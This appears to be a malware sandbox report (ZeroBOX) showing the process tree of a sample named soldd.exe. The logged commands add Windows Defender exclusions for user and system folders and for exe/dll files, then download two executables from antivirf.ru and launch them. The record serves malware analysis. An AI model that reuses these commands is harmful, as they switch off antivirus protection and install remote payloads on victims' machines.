| ZeroBOX

soldd.exe "C:\Users\test22\AppData\Local\Temp\soldd.exe"
2344
- cmd.exe cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://antivirf.ru/sold.exe', (Join-Path -Path $env:AppData -ChildPath 'sold.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://antivirf.ru/Amongus.exe', (Join-Path -Path $env:AppData -ChildPath 'Amongus.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'sold.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'Amongus.exe')" & exit
  2404
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
    2460
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
    2548
  - powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('https://antivirf.ru/sold.exe', (Join-Path -Path $env:AppData -ChildPath 'sold.exe'))"
    2656
  - powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('https://antivirf.ru/Amongus.exe', (Join-Path -Path $env:AppData -ChildPath 'Amongus.exe'))"
    2768
  - powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'sold.exe')"
    2864
  - powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'Amongus.exe')"
    2964

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents